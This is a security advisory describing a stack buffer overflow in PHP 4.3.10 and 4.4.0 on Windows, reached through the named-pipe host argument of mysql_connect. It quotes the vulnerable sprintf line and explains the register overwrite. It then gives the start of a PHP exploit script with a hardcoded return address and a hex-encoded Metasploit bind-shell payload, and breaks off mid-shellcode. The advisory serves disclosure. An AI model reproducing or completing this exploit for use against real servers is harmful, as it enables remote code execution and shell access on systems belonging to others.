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PHP for Windows create_named_pipe Buffer Overflow
------------------------------------------------------------------------
SUMMARY
Lack of proper length validation allows attackers to perform buffer
overflow based and execute arbitrary code.
DETAILS
Vulnerable Systems:
* PHP version 4.3.10
* PHP version 4.4.0
PHP contains many built-in functions to allow a developer to interface
with MySQL servers. One of these, mysql_connect() contains functionality
to allow a user to connect via named pipes to a server.
The format of the mysql_connect function is as follows:
mysql_connect(host, username);
The host field can accept a host in the following format when PHP is used
on a Windows system:
"hostname:/pipe"
Where "pipe" is the named pipe to use. Within the internal code, this pipe
name is later copied into a 257 byte internal character buffer. By
supplying a long pipe variable, we are able to preform a classical stack
based buffer overflow attack.
Vulnerable Code:
From \ext\mysql\libmysql\libmysql.c line 216:
HANDLE create_named_pipe(NET *net, uint connect_timeout, char
**arg_host,
char **arg_unix_socket)
{
[...]
char szPipeName [ 257 ];
[...]
sprintf( szPipeName, "\\\\%s\\pipe\\%s", host, unix_socket);
The variable unix_socket is the value of the host string after the
trailing colon (:), if it exists.
Because we will be overflowing several pointers, the address of a valid
memory location must also be written to memory 4 bytes after our
replacement EIP. When our EIP is restored, ESI will contain a pointer to
the value of the "username" variable. This can be used as a location to
store our shellcode, as it is a reliable location.
Exploit:
<?php
/*
This exploit was designed to work with PHP versions 4.3.10 and 4.4.0 under
Windows XP SP 1. If another operating system is used, the replacement EIP
must be changed.
The replacement EIP is written 261 bytes into our string. For this
exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1.
The replacement ESI is simply the base of the PHP image. Locations after
this address will be overwritten with some internal data.
Our shellcode is written into the $user variable. $two is used to prevent
$user from being truncated with a MySQL error message.
*/
//Exploit for
// Apache/1.3.33
// PHP/4.4.0
//Windows only
$eip = "71AB5651"; //EIP - CALL ESI from Winsock 2.0 ws2_32.dll
v5.1.2600.0
$esi = "10000000"; //ESI - Temporary. The memory under this location will
be trashed.
//Metasploit win32 bind shell on port 4444
//Thread exit method, no filter
$shellcode =
pack("H*","fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb"
========================================
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